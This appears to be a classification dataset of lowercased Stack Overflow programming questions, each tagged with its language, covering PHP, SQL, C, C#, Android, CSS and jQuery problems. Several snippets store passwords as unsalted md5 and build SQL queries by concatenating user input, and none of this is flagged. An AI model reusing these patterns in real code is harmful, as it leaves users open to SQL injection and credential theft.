$email) {             array_push($errors   email already exists );         }     }      if (count($errors) == 0) {         $password = md5($password_1);          $query =  insert into users (username  email  password) values( $username    $email    $password ) ;          mysqli_query($db  $query);         $_session[ username ] = $username;         $_session[ success ] =  you are registered! ;         header( location: index.php );     } } </code></pre>   all the data of a person  but except username does not print anything. i want to deduce email of user .what to do,php
sql if number of hires leaves 1 left (use column alias in where clause)  i am having a small issue with a simple sql statement.    i need to find out if i have 7 copies of a movie in the movie table and 6 people have rented it out  i need to see that i only have 1 copy left (i need to do this all through the sql query). i know normally i would do it using php and just takeaway the number hired from the total number of copies  but sadly my college wants me to do it the other way.   <pre><code>select *    count(distinct hire.movie_id) as num_orders from `movie` inner join hire on hire.movie_id = movie.id where num_orders &lt; movie.no_copies; </code></pre>   when i run this i get the following issue <code>#1054 - unknown column  num_orders  in  where clause </code>.,mysql
printing same line in python3 with a function callback  i m trying to create a function that returns a  pulse  every time it does something. the function must be passed as a callback if the person desires to receive the pulse. i d like to print the pulses as new <code>.</code> character in the same line  so i did this:   <pre><code>import time  def do_something(do=none):     while true:         time.sleep(1)         if do: do( . )  def prtn(text):     print(text  end=   )  do_something(prtn) </code></pre>   but the code gets stuck and won t print anything!,python
python 2: why xrange isn t called irange   this question is kind of philosophical. there is splendid <code>itertools</code> module in python 2  providing  in particular  generator equivalents for python built-in functions like <code>map</code>  <code>filter</code>  <code>zip</code>  or <code>slice</code>. and the equivalents are called <code>imap</code>  <code>ifilter</code>  <code>izip</code>  and <code>islice</code>  respectively. as i understand  the prefix <strong>i</strong> in their names means <strong>i</strong>​terator. but there s the same thing about <code>xrange</code>: it is an equivalent of <code>range</code> returning generator object instead of large list. so  why isn t it called <code>irange</code>  what does prefix <strong>x</strong> actually mean,python
pagination next and previous button  hello guys can you help me out   i have a problem in pagination i just want to disable the next and previous  button in my pagination if it is  no item left        <pre><code>                $db_host =  localhost ;                 $db_username =  root ;                  $db_pass =   ;                  $db_name =  final ;                  $con= mysqli_connect( $db_host   $db_username   $db_pass ) or die ( could not connect to mysql );                   mysqli_select_db($con   final ) or die ( no database );                     $pagination_sql =  select * from `ongoing` where approved= approve  ;                   $run_pagination = mysqli_query($con  $pagination_sql);                    $count = mysqli_num_rows($run_pagination);                    $total_pages = ceil($count/$per_page);                      echo  &lt;ul class= pagination &gt; ;                     echo  &lt;li class= page-item &gt;&lt;a class= page-link  href= ongoing.php page= .($page-1).   class= button &gt;                             &lt;span aria-hidden= true &gt;&amp;laquo;&lt;/span&gt;                             &lt;span class= sr-only &gt;previous&lt;/span&gt;                           &lt;/a&gt;&lt;/li&gt; ;                    for($i=1;$i&lt;=$total_pages;$i++){                       echo &lt;li&gt;&lt;a class= page-link  href= ongoing.php page= .$i.  &gt; .$i. &lt;/a&gt;&lt;/li&gt; ;                    };                      echo  &lt;li class= page-item &gt;&lt;a class= page-link  href= ongoing.php page= .($page+1).   class= button &gt;                             &lt;span aria-hidden= true &gt;&amp;raquo;&lt;/span&gt;                             &lt;span class= sr-only &gt;next&lt;/span&gt;                           &lt;/a&gt;&lt;/li&gt; ;                     echo  &lt;/ul&gt; ;               &gt; </code></pre>   and here s the condition of per page   <pre><code>$per_page = 10; if(isset($_get[ page ])){ $page = $_get[ page ]; }else{   $page= 1; } $start_from = ($page-1) * $per_page; </code></pre>,php
jquery on ctrl paste in clicked input value from input above  this is working sample.   <pre><code>&lt;tr&gt;   &lt;td&gt;&lt;input type= text  name= date_day1  id= date_day1  value=  size= 1 &gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt;   &lt;td&gt;&lt;input type= text  name= date_day2  id= date_day2  value=  size= 1 &gt;   &lt;script type= text/javascript &gt;   $(document).ready(function(){     $( #date_day2 ).on( click   function(e) {       var name1 = $( #date_day1 ).val();       if(e.ctrlkey) $( #date_day2 ).val(name1);     });   });   &lt;/script&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt;   &lt;td&gt;&lt;input type= text  name= date_day3  id= date_day3  value=  size= 1 &gt;&lt;/td&gt; &lt;/tr&gt; </code></pre>   i mean if i enter something in date_day1 then press and hold ctrl and click in date_day2  then value in date_day1  copy-paste  to date_day2.    to get such behavior for all other input cells i must write the javascript for each input cell.    to use only one javascript for all input cells i try to write code  but it does not work.   <pre><code>&lt;script type= text/javascript &gt; $(document).ready(function(){   $( #input ).on( click   function(e) {     var name1 = $(this).closest( tr ).prev().find( td:eq( +$(this).closest( td ).index()+ ) ).find( input ).val();     if(e.ctrlkey) $( #input ).val(name1);   }); }); &lt;/script&gt; </code></pre>   with $( #input ).on( click   function(e) { i mean if i click on any input cell    with var name1 =  .... set/define variable value from closest above input cell    with if(e.ctrlkey) $( #input ).val(name1); i mean if press ctrlkey  then current input cell value is name1    what is wrong with the code,jquery
craps game and function  i m creating a sort of craps game using c.     if sum=7 11 win; if sum=2 3 12 lose; else continue.    i have some problems with the function play_game() because the return of the function isn t correct. for example  if the sum is 3 sometimes doesn t return 1 but 2.   <pre><code>int roll_dice(void); int play_game(void); int main(){     int sum;     char play;      do{         roll_dice();         play_game();          if (play_game()==0){             printf ( \nyou win! );               printf ( \nplay again   );             play=getchar();          }         else {             if (play_game()==1) {                 printf ( \nyou lose! );                  printf ( \nplay again   );                 play=getchar();              }                else {                 if (play_game()==2) play= y ;                 else system ( pause );             }            }                        }     while (play== y );     return 0;        }  int roll_dice(void){     int sum = rand()%6 + rand()%6;     return sum; }   int play_game(void){     int sum = roll_dice();     printf ( \nyou rolled: %d   sum);     if ((sum==7)||(sum==11)) return 0;     else {         if ((sum==2)||(sum==3)||(sum==12)) return 1;             else {             printf ( \nyour point is %d   sum);             return 2;            }        }    } </code></pre>,c
why is my string vector empty  wher is my mistake i want to read a <a href= http://i.stack.imgur.com/m0rr9.png  rel= nofollow >directory</a> into a string vector. using the memberfunction getfilelist. iterating it in the main the string vector is empty. i fill in only one string (buffer) to check the vector and no files are being listed. only the following output comes:   <pre><code>singleton cstr //verify success in opening dir opened  [0x1d92630 ] [ buffer ] itvect[ buffer ] </code></pre>   why    <pre><code>#include &lt;iostream&gt; #include &lt;string&gt; #include &lt;tuple&gt; #include &lt;vector&gt; #include &lt;dirent.h&gt; #include  gtest/gtest.h   class singleton {  public:    std::vector&lt;std::string&gt; singletonvect;    singleton();    void buildfilelist(std::vector&lt;std::string&gt; filesvect);    std::vector&lt;std::string&gt; getfilelist(void);    static singleton&amp; getinstance(); };  std::vector&lt;std::string&gt; strings = { lkhdf   lfdjasdlk }; singleton&amp; singleobj(singleton::getinstance());  std::vector&lt;std::string&gt; opendirectory(std::string path) //opening any folder and saving all file-names in a vector&lt;string&gt; {    dir* dir;    dirent* pdir;    std::vector&lt;std::string&gt; files;    dir = opendir(path.c_str());     std::cout &lt;&lt;  opened  [  &lt;&lt; dir &lt;&lt;   ]\n ;     while (pdir = readdir(dir)) {       files.push_back(pdir-&gt;d_name);    }    return files; }  void singleton::buildfilelist(std::vector&lt;std::string&gt; filesvect) {    std::vector&lt;std::string&gt; f;    std::string buffer =   ;    f = opendirectory( myfiles ); // pass which dir to open    for (auto i = f.begin(); i != f.end(); ++i) {       if ((*i).find( .exe ) != std::string::npos) {          buffer =  myfiles/  + (*i);          filesvect.push_back(buffer);       }    } }  std::vector&lt;std::string&gt; singleton::getfilelist(void) {    return singletonvect; }  singleton::singleton() {    std::cout &lt;&lt;  singleton cstr\n ;     buildfilelist(singletonvect); }  singleton&amp; singleton::getinstance() {    static singleton singleobj;    return singleobj; }  int main(int argc  char **argv) {    singleobj.singletonvect = singleobj.getfilelist();     singleobj.singletonvect.push_back( buffer );     std::cout &lt;&lt; [  &lt;&lt; (*singleobj.singletonvect.begin())  &lt;&lt;   ]\n ;     for (auto itvect = singleobj.singletonvect.begin(); itvect != singleobj.singletonvect.end(); itvect++) {       std::cout &lt;&lt;  itvect[   &lt;&lt; (*itvect) &lt;&lt;   ]\n ;    }  } </code></pre>,c++
how do i create a speed dial button programmatically   so i ve created a simple launcher using <a href= http://code.tutsplus.com/tutorials/build-a-custom-launcher-on-android--cms-21358  rel= nofollow >this tutorial</a>. i ve created a few empty buttons that i intend to use to dial a number instantly when they are pressed.    by default  the buttons have no assigned number. i want the button to launch the default contacts application window when first pressed  so the user can select a contact s number to assign to the button. i ll then launch this through an intent.     i have no idea how to make the first part of this work (bringing up the contacts app  and then assigning details to the button). how do i make this work,android
can we enable and disable notification in app using api level permission in android   i have a notification feature in my application which shows timely notification in notification bar  when user don t want notification they can always go back to settings and disable it. is there any api level notification prompt which lets user to  enable  and  disable  notification from application itself.    i know this can be done explicitly too by disabling and enabling flag in application  but i was wanted to check if through api it is possible    regards,android
how to compare a mathing string location   <code>nsstring *str0 = @ stackoverflow ;</code>    <code>nsstring *str1 = @ stackovarflow *</code>    <code>nsstring *str2 = @ stackoverflowing *</code>    i want str0 and str1 and so on compared equal to location.    str0 isequaltolocation:str1 result is 5(start index 0) or 6(start index 1)    str1 isequaltolocation:str2 result is 12(start index 0) or 13(start index 1)    if not equaltostring return is -1    how to know matching a string location,iphone
making all the keys value in an array of objects blank  how to make all the key s value in an object replace with blank values...    <pre><code>var array = [{key1: value  key2: value2 } { key1: value  key2: value2}]  for (item in arrayobj) {     arrayobj[item] =    ;     } </code></pre>   is the above code right...,javascript
scan and print full names in a list (c language)  i want to create a c program that can read  n  number of full names from keyboard input and print them. i tried to use <code>fgets()</code>  but couldn t figure out how to scan multiple entries  so i ended up writing the code below.     the issue is  it takes the names as input and just prints garbage values.   <pre><code>#include &lt;stdio.h&gt; #include &lt;conio.h&gt; #include &lt;string.h&gt;  int main() {     int n i;     char name[64][64] sur[15][15] a[3];      printf( how many names   );     scanf( %d  &amp;n);     printf( \nenter names:\n );      for(i=0;i&lt;n;i++)     {         scanf( %s%s  name[i] sur[i]);     }      for(i=0;i&lt;n;i++)     {         a[3]=   ;         strcat(name[i] a);         strcat(name[i] sur[i]);     }      printf( \nthe names are:\n );     for(i=0;i&lt;n;i++)     {         printf( %s  name[i]);     }     getch();      return 0; } </code></pre>,c
"position elements both left and right  is there something about css that doesn t allow you to specify <strong>both top and bottom or left and right values</strong>      take <a href= http://jsfiddle.net/hjukc03c/  rel= nofollow >this example</a>:     <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>div {
   width: 100px;
   height: 100px;
 }
 .first {
   background-color: blue;
   position: relative;
   left: 100px;
   right: 50px;
 }
 .second {
   background-color: yellow;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div class= first &gt;&lt;/div&gt;
 &lt;div class= second &gt;&lt;/div&gt;</code></pre>
 </div>
 </div>
     try removing <code>right: 50px</code> and the position will remain the same. what s going on",css
uitableview clear data  how to clear whole tableview data and reload with new one,iphone
creating windows form containing subform  i am trying to create an <code>orderheader</code> form which will contain the subform <code>orderdetail</code>. the user can input data about the order header (date  customer  etc.)  and in the subform  they will be able to input as many rows they like (i plan to use a datagrid view). you can see the relationship between these tables below:    <img src= https://i.stack.imgur.com/cfmhk.jpg  alt= enter image description here >    i am confused about how to  connect  these two data sources on one form. i plan to create a form based on the orderheader table and then to drag and drop the datagridview object which will contain the source from the orderdetail table. even if i manage to connect them  do i have to modify the main code for saving data that currently looks like this:   <pre><code>me.validate() me.orderheaderbindingsource.endedit() me.tableadaptermanager.updateall(me.bazadataset) </code></pre>,.net
trying to get transpose table in mysql  the below is the query used to get the transpose of the table.     <pre><code>select  month          case when year =  2016-17  then sum(amt) end          case when year =  2017-18  then sum(amt) end from    (   select year  month  type  sum(item_amt) as amt      from `dummy`      where type =  xyz  and party_code !=  interunit  and (item_acc_code= 301010100001  or item_acc_code= 301010100002 ) and (year(inv_date)=year(curdate()) or year(inv_date)=year(date_sub(curdate()  interval 1 year)))      group by month year ) t group by month year </code></pre>   current output    <pre><code>month || case when year= 2016-17  || case when year= 2017-18  apr   || 1487                     || null  apr   || null                     || 1847 may   || 1591                     || null may   || null                     || 1234 </code></pre>   desired output    <pre><code>month || 2016-17 || 2017-18 apr   || 1487    || 1847  may   || 1591    || 1234 </code></pre>   we are facing 2 issues:- a) alias cannot be given for the output columns b) group by month values should be shown in one row  by not considering the null value.,mysql
adding array of string to a datacolumn of a data table  how can i add an array of string to data column of a an empty data table in asp.net,asp.net
simple php class  i am learning <code>php</code> and created the below class  but i can t seem to figure out why it giving me the below errors which says:     <code>144</code>   <blockquote>    warning: missing argument 1 for setters::set_a()  called in c:\xampp\htdocs\php\accessmod2.php on line 19 and defined in c:\xampp\htdocs\php\accessmod2.php on line 9        notice: undefined variable: value in c:\xampp\htdocs\php\accessmod2.php on line 11  </blockquote>  <pre><code>&lt; php  class setters{     private $a = 144;     public function get_a(){         return $this-&gt;a;     }      public function set_a($value){          $this-&gt;a = $value;     } }  $example = new setters();  echo $example-&gt;get_a(). &lt;br /&gt; ; $example-&gt;set_a(15). &lt;br /&gt; ; echo $example-&gt;set_a(). &lt;br /&gt; ;   &gt; </code></pre>,php
why i can t modify these values in an object   i have a problem  if i want to edit a value into an object and call it again  i get the old value instead of the new one.    here is my function to get the class:   <pre><code> public static clan getclanbyid(int index)     {         foreach (clan clan in clans)         {             if (clan.id == index)             {                 return clan;             }         }          return new clan()         {             id = -1              name =  null               iconid = -1         };     } </code></pre>   here is my function to update the value:   <pre><code>public static void changeannouncement(int clanid  int mode  string text)     {         if (clanid != -1)         {             clan clan = getclanbyid(clanid);              if (mode == 0)             {                 clan.description = text;             }             else if (mode == 1)             {                 clan.news = text;             }         }     } </code></pre>   and here is the class:   <pre><code>public class clan {     public int id;     public int leaderid;     public int extension;     public int creationdate;     public long exp;     public long iconid;     public string name;     public string news;     public string description;     public list&lt;clanwars&gt; clanwars;     public list&lt;clanusers&gt; users;     public list&lt;clancomasters&gt; comasters;     public list&lt;clanpendingusers&gt; pendingusers;     public leaderinformations leaderinformations; } </code></pre>   example: the old value was  123   than i call the function changeannouncement  and set the value to  1234567890   after that i get the value using getclanbyid(id).description  but i will still get the old value ( 123 )    i hope you can help me.,c#
how to overwrite css property min-height or height  how can i override the min-height property in the code below  i am trying to set it with <code>min-height:none;</code> but its not working. i just want to remove this property.   <pre><code>/* original class */ .navbar {   border: 1px solid transparent;   margin-bottom: 20px;   min-height: 50px;   position: relative; }  /* override class */ .navbar {   min-height: none; } </code></pre>,css
uiscrollview always bounce upwards and does not show scroll bar in iphone  this is probably simple but i do not seem to get it to work. i have a view and inside it i have a scroll view and inside it i have a view with some labels and a button. the height of the text inside the labels changes according to some condition so i need to scroll down to see it. but whenever i try to scroll down it bounce back up without giving me a chance to view the rest of the view.    basically  i want when i scroll down  the view to remain down as it normally should. besides i do not see the scroll bar at all when i m scrolling.    i know i probably do not understand how scroll views work  so i d appreciate any help to explain to me the behavior of scroll views.    p.s. i built my whole view in a nib file and this specific setup that i mentioned at the beginning is based on a suggestion from one question i read here.    thanks  mohsen,iphone
updating string until period is found in c  in this function i am going to be receiving char * words such as    <pre><code>person.vet.blah </code></pre>   and   <pre><code>word.friends.joe </code></pre>   i want to extract the first word. so for the first one i want to extract   <pre><code> person  </code></pre>   and the second one i want to extract   <pre><code> word </code></pre>   how can i correctly do this  here is my code:   <pre><code>char *separate_name(char *machine_name) {     //iterate until you find period. then return     char absolute_name[1000];     int i;     for (i =0; i &lt; strlen(machine_name); i++)     {         if (machine_name[i] ==  . )           absolute_name[i] = machine_name[i];      }       return absolute_name; } </code></pre>   this is just segfaulting. any ideas what i should be doing  machine_name is going to be the  person.vet.blah  and then return absolute_name which would be  person,c
disable or reset a css rule  if define a css rule with <code>top: 0;</code>  how can i later disable or neutralise it in favor of <code>bottom: 0;</code> used elsewhere,css
submit forms  one after another with jquery   how can i set up an automated queue system to run multiple submits  one after another  i don t want them to submit at once  or it may break my backend php script.    here s a simple example  assuming each form can submit independently  and a master submit will run all the forms in series.   <pre><code>&lt;input type= submit  id= submit_all  value= submit all  /&gt;  &lt;form id= form-1  method= post  action= function.php &gt; &lt;input type= text  name= foo  value= foo  /&gt; &lt;input type= submit  value= submit  /&gt; &lt;/form&gt;  &lt;form id= form-2  method= post  action= function.php &gt; &lt;input type= text  name= foo  value= foo  /&gt; &lt;input type= submit  value= submit  /&gt; &lt;/form&gt;  &lt;form id= form-3  method= post  action= function.php &gt; &lt;input type= text  name= foo  value= foo  /&gt; &lt;input type= submit  value= submit  /&gt; &lt;/form&gt; </code></pre>   update:    the script i m working on is tool to backup the ftp files and mysql dump of multiple websites - essentially an automated backup tool for web administrators.    each form contains the values to connect to the ftp and mysql of each site  and the php function copies and stores the files locally and creates a mysql dump.    copying the files can take 20+ minutes per site  so the idea is to create a  master button  to automate each backup  one after the other.,jquery
set padding/margin for overflow table  i have a table that lives inside a div. that table has a huge content in it that overlap the window  so i need to scroll far to the left to see its content. problem is that the table doesn t have a padding or margin on the right to make it more easier to read.    how can i add padding or margin to that table     here is the html looks like (note that the css below doesn t work):   <pre><code>&lt;html&gt; &lt;head&gt;&lt;/head&gt; &lt;body&gt; &lt;div id= table &gt;     &lt;table&gt;         &lt;thead&gt;...&lt;/thead&gt;         &lt;tbody&gt;...&lt;/tbody&gt;     &lt;/table&gt;   &lt;/div&gt; &lt;style&gt; table td  table th  table td {border: 1px solid red} table { padding-right: 100px; border: 1px solid blue} table thead  table tbody {padding-right: 100px;} &lt;/style&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>,css
how to solve  error from the operating system  the user name or password is incorrect.  in c#  how to solve    <blockquote>     could not create windows user token from the credentials specified in   the config file. error from the operating system  the user name or   password is incorrect.   </blockquote>   when i am creating/moving file to network path i got the above error. and below i have mentioned my web config tag.    <pre><code>&lt;identity impersonate= true  username= username  password= ****** /&gt; </code></pre>,c#
how to stop an animation onbackpressed   in my mainactivity i have 2 animations (fab and a tab title) and i would like to stop them onbackpressed.   <pre><code>@bind(r.id.fab_text) button mfab; ... @override protected void oncreate(bundle savedinstancestate) {     super.oncreate(savedinstancestate);     setcontentview(r.layout.activity_main_drawer);      animation animation = loadanimation(maindraweractivity.this  r.anim.fab_scale_up_down);     animation.setrepeatcount(animation.infinite);     animation.setanimationlistener(new simpleanimationlistener() {         private long offset;         private long starttime;          @override         public void onanimationstart(animation animation) {             starttime = system.currenttimemillis();         }          @override         public void onanimationrepeat(animation animation) {             final long now = system.currenttimemillis();             timber.i( onanimationrepeatfab: elapeed seconds: %d   (now - starttime) / 1000);             if ((now - starttime &gt; 7000) &amp;&amp; (offset % 4 == 0)) { // stop animation after x seconds                 animation.setrepeatcount(0);             } else {                 offset++;                 animation.setstartoffset(offset % 4 == 0   700 : 0);             }         }     });     mfab.startanimation(animation); </code></pre>   about the fab it s easy.   <pre><code>public void onbackpressed() {     mfab.clearanimation(); </code></pre>   but how do i stop the other animation defined like this  i don t know how to access the animation of the tab below.   <pre><code>private void populateviewpager(list&lt;tab&gt; tabs) {     // clear all listeners before populating new tabs     mtablayout.setontabselectedlistener(null);     mviewpager.clearonpagechangelisteners();      if (mpageradapter == null) {         mpageradapter = new tabspageradapter(this  getsupportfragmentmanager());         mviewpager.setadapter(mpageradapter);     }      // populate tabs     mpageradapter.settabs(tabs);     if (mpageradapter.getcount() &gt; default_tab_position)         mviewpager.setcurrentitem(default_tab_position);     mtablayout.setupwithviewpager(mviewpager);      // set animation on corresponding tabs     list&lt;tab&gt; pagertabs = mpageradapter.gettabs();     for (int i = 0; i &lt; pagertabs.size(); i++) {         tab pagertab = pagertabs.get(i);         if (pagertab.isanimated()) {             timber.i( animating tab: %s   pagertab.getid());             tablayout.tab tab = mtablayout.gettabat(i);             if (tab != null) {                 // set custom view in order to get it back then                 tab.setcustomview(r.layout.partial_tab_view);                  // set animation on the custom view                 animation animation = loadanimation(maindraweractivity.this  r.anim.tab_scale_up_down);                 animation.setrepeatcount(animation.infinite);                 animation.setanimationlistener(new simpleanimationlistener() {                     private long offset;                     private long starttime;                      @override                     public void onanimationstart(animation animation) {                         starttime = system.currenttimemillis();                     }                      @override                     public void onanimationrepeat(animation animation) {                         final long now = system.currenttimemillis();                         timber.i( onanimationrepeat: elapeed seconds: %d   (now - starttime) / 1000);                         if ((now - starttime &gt; 7000) &amp;&amp; (offset % 4 == 0)) { // stop animation after x seconds                             animation.setrepeatcount(0);                         } else {                             offset++;                             animation.setstartoffset(offset % 4 == 0   700 : 0);                         }                     }                 });                 //noinspection constantconditions                 tab.getcustomview().setanimation(animation);             } else {                 timber.w( tab!=null );             }         }     } } </code></pre>,android
c# windows service in windows 7 the source was not found  but some or all event logs could not be searched. inaccessible logs: security  i am  runing c# windows service in windows 7.i am getting this error.   <blockquote>    {system.security.securityexception: the source was not found  but some   or all event logs could not be searched.  inaccessible logs: security.   at system.diagnostics.eventlog.findsourceregistration(string source    string machinename  boolean readonly)    at   system.diagnostics.eventlog.sourceexists(string source  string   machinename)    at   system.diagnostics.eventlog.verifyandcreatesource(string sourcename    string currentmachinename)    at   system.diagnostics.eventlog.writeentry(string message    eventlogentrytype type  int32 eventid  int16 category  byte[] rawdata)   at system.diagnostics.eventlog.writeentry(string source  string   message  eventlogentrytype type  int32 eventid  int16 category  byte[]   rawdata)    at system.diagnostics.eventlog.writeentry(string source    string message  eventlogentrytype type  int32 eventid)    at   efpdadmsservice.utils.getregvalue(registrykey regkey  string   strsubkey  string strname  string strdefault)  </blockquote>   i have given permissions in the registry    hkey_local_machine\system\currentcontrolset\services\eventlog    it is breaking at this point   <pre><code>strtempdir = environment.getenvironmentvariable( temp );             **strlogdir = utils.getregvalue(registry.localmachine reg_key  logdir  strtempdir);** </code></pre>   any suggestions appreciated,c#
how to reject an integer if certain digits are not wanted  if i want an integer input  but if it contains any digits 2 or 3 in it  it will be rejected.    for example entering 23564 will be invalid.    i was thinking of using do-while loops to solve this  but how do i get it to read the individual digits.,c++
how to get data from multiple tables that belong to fields that contain checkboxes   i have a project that makes me confused. i am creating a 2nd hand sale car page for a sealer. i have display and edit pages. in edit pages  user will insert a sale car record or edit an existing record. i mean such a table:   <pre><code>recordid    carname    model    year    km     price  </code></pre>   (this part is ok  easy; but details of car will be showed and edited with checkboxes and also features must be editable))    <pre><code>(checkbox1) airbag   (checkbox2) sunroof  (checkbox 3) xenon lamb  etc. </code></pre>   i think i must create that tables: cars  marks  models  features (includes checkboxes)...  but how will i get data from features; how will i know which check is checked or not and how will i know  which car has which features,sql
about the bubble sort in c  this is my code:   <pre><code>//bubble sort  #include&lt;stdio.h&gt; int main(){     int a[11];     int temp;     int i j; //input  for(i=1;i&lt;=10;i++){     scanf( %d  &amp;a[i]); }  //sort  for(i=1;i&lt;10;i++){  //the number of number     for(j=1;j&lt;10-i;j++) //--         if(a[j]&lt;a[j+i]){             temp=a[j];             a[j]=a[j+1];             a[j+1]=temp;         } }  //output for(i=1;i&lt;=10;i++){     printf( %d   a[i]); }  getchar(); getchar(); return 0; </code></pre>   }    the result was not what i was expecting. the input that i have used is 1 2 3 4 5 6 7 8 9 0 but after the sort the output is 8 6 5 4 3 7 2 9 1 0.,c
invoking context menu item click from another application  i thought about doing this using postmessage  but i don t really know how to find the handle of that context menu (it only appears when you right click an item in a syslistview32) i got the right clicking on a row going  but i can t figure out how i can specifically choose a certain item from the popped up menu.   <pre><code>            process[] processes = process.getprocessesbyname( manager );          foreach (process p in processes)         {             intptr windowhandle = p.mainwindowhandle;                                               //wm_command             postmessage((intptr)windowhandle  0x0111  0  0);         }           [system.runtime.interopservices.dllimport( user32.dll   entrypoint =  postmessage   charset = system.runtime.interopservices.charset.auto)]     public static extern void postmessage(intptr hwnd  int msg  int wparam  int lparam); </code></pre>,c#
refer a document from a desktop application in java  i have an application which consist of menu s.in the help menu i have tutorial menuitem.what i want to do is when i click the menuitem  tutorial  a document in the application directory need to be opened.can i acheive this,java
issue with fetching value from 2md datagridview in c#  i have a problem in fetching value from data gridview. in the same event i am able to fetch value from datagrid view1 but in same event i am not able to fetch the value from datagridview2. help me with correction in following code.   <pre><code>private void button2_click(object sender  eventargs e) {     sqlconnection con = new sqlconnection(path);     sqlconnection con1 = new sqlconnection(path);     con.open();     string selectsql =  select * from textbooks where class=   + txt_class.text.tostring() +    ;     sqlcommand cmd = new sqlcommand(selectsql  con);     string textname =   ;     tempcnt.text =  test ;     string bookname =   ;     double bookquantity = 0;     string textname1 =   ;     string bookname1 =   ;     double stockquantity1 = 0;     double bookquantity1 = 0;     using (sqldatareader reader = cmd.executereader())     {         while (reader.read())         {                 bookname = (reader[ name ].tostring());             bookquantity = convert.toint32(reader[ quantity ]);             for (int i = 0; i &lt; datagridview1.rows.count; ++i)             {                 textname = convert.tostring(datagridview1.rows[i].cells[0].value);                 if (textname == bookname)                 {                     bookquantity = bookquantity - 1;                     temp_count.text = bookquantity.tostring();                     con1.open();                     string uquery =  update textbooks set quantity=  + bookquantity +   where name=   + bookname +    ;                     sqlcommand cmd1 = new sqlcommand(uquery  con1);                     cmd1.executenonquery();                     con1.close();                 }             }         }     }      con.close();     con.open();     string selectsql2 =  select * from notebooks ;     sqlcommand cmd2 = new sqlcommand(selectsql2  con);      tempcnt.text =  test ;     using (sqldatareader reader1 = cmd2.executereader())     {         while (reader1.read())         {             bookname1 = (reader1[ name ].tostring());             stockquantity1 = convert.toint32(reader1[ quantity ]);             tempcnt.text = bookname1;             for (int i = 0; i &lt; datagridview2.rows.count; i++)             {                 textname1 = datagridview2.rows[i].cells[0].value as string;                 string temp = convert.tostring(datagridview2.rows[i].cells[0].value);                 tempcnt.text = temp;                 if (temp == bookname1)                 {                     tempcnt.text =  success ;                 }             }         }     }     con.close(); } </code></pre>,c#
in android listactivity  how do you apply layout formatting to footers   in an android listactivity  i am adding a button as a footer in a listview.  how can i apply layout formatting to this button like centering it and/or width=fill_parent     i have tried a few things such as using setlayoutparams()  but have not gotten it to work - the footer always disappears when i try anything.    here is the basic code i am working with   <pre><code>closebutton = new button(this); closebutton.settext(getresources().getstring(r.string.title_closeprocess)); closebutton.setonclicklistener(new onclicklistener(){         public void onclick(view v) {                            closeprocess();         }     });  getlistview().addfooterview(closebutton);    </code></pre>   *update    based on christopher s answer  here is the footer view that i am adding to my listview  and the activity code that adds it to the listview:     <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;relativelayout xmlns:android= http://schemas.android.com/apk/res/android  android:id= @+id/closebutton_layout      android:layout_width= fill_parent  android:layout_height= wrap_content &gt;  &lt;tablelayout xmlns:android= http://schemas.android.com/apk/res/android      android:id= @+id/toptable       android:layout_width= fill_parent      android:stretchcolumns= *       android:layout_alignparenttop= true      android:layout_centerhorizontal= true       android:layout_height= wrap_content &gt;     &lt;tablerow&gt;                   &lt;button android:id= @+id/closebutton           android:layout_width= fill_parent          android:layout_height= wrap_content           android:text= skip question          android:gravity= center           android:paddingtop= 16dip &gt;     &lt;/button&gt;                &lt;/tablerow&gt;          &lt;/tablelayout&gt; &lt;/relativelayout&gt;    listview listview = getlistview();      closebuttonview = getlayoutinflater().inflate(r.layout.closebutton_layout  listview  false);     closebutton = (button)closebuttonview.findviewbyid(r.id.closebutton);            closebutton.setonclicklistener(new onclicklistener(){         public void onclick(view v) {             closequestion();                         }      }); listview.addfooterview(closebuttonview); </code></pre>,android
is base method able to use derived base data members   lets assume we have the following code:   <pre><code>abstract class base1 {     protected int num; }  class der1:base1 {     protected color color;     protected string name; }  class der2:base1 {     protected datetime dthen; } </code></pre>   and so on. an array of <code>base1</code> type exists and includes many objects created out of classes that are derived from <code>base1</code>.    is it possible to define the <code>tostring()</code> method in the base class only  something like:   <pre><code>public override string tostring() {     if (this is der1)         return  num =   + this.num +  color =   + this.color.tostring() +   name =   this.name;     if (this is der2)         return  num =   + this.num +  dthen =   + this.dthen.tostring();     // and so on ... } </code></pre>   thank you very much :)    p.s. this is not an homework question. i ve just wondered about.,c#
is  not working in python ide but working in command line  i couldn t understand why this is happening actually..    take a look at this python code :   <pre><code>    word = raw_input( enter word )     length = len(word)      if word[length-1:] is  e  :          print word +  d  </code></pre>   if i give input  love   its output must be  loved . so  when i wrote this in pyscripter ide  its neither showing error nor the output. but i tried the same code in python shell  its working!     i d like to know why this is happening.,python
what do random colons mean in javascript  like in linkedin s api example:   <pre><code>&lt;script type= text/javascript  src= https://platform.linkedin.com/in.js &gt;   api_key: weqrw1zwufdsiot9434re   onload: onlinkedinload   authorize: true &lt;/script&gt; </code></pre>,javascript
uiaccelerometer stop problem  how to detect uiaccelerometer stop event when user stop moving the iphone. so how to detect the stopping of moving the phone,iphone
transclude inside ng-repeat  controller function incorrect transclude param  i created directive that appends transclude value after the directive body. i cant use ng-transclude inside my directive because it creates  for the simple text as transclude value and it break my page. i use   <pre><code>controller: function($scope  $element  $transclude) {      $element.append($transclude().contents());            } </code></pre>   to append it. it works great  but when i use my directive inside ng-repeat something goes wrong and $transclude().contents() don t contain my text. can someone explain this behavior     here example: <a href= http://plnkr.co/edit/1y4avkwmgjhikkuozlug  rel= nofollow >http://plnkr.co/edit/1y4avkwmgjhikkuozlug</a>,angularjs
properties in interfaces c#  how you can have properties in an interface if an interface isn t supposed to have attributes in c# as properties are getters and setters for attributes  at the class we had this example and i thought an interface should only have method declarations.   <pre><code>interface iknownprogramminglanguages {     string[] programminglanguages { get; set; } } </code></pre>,c#
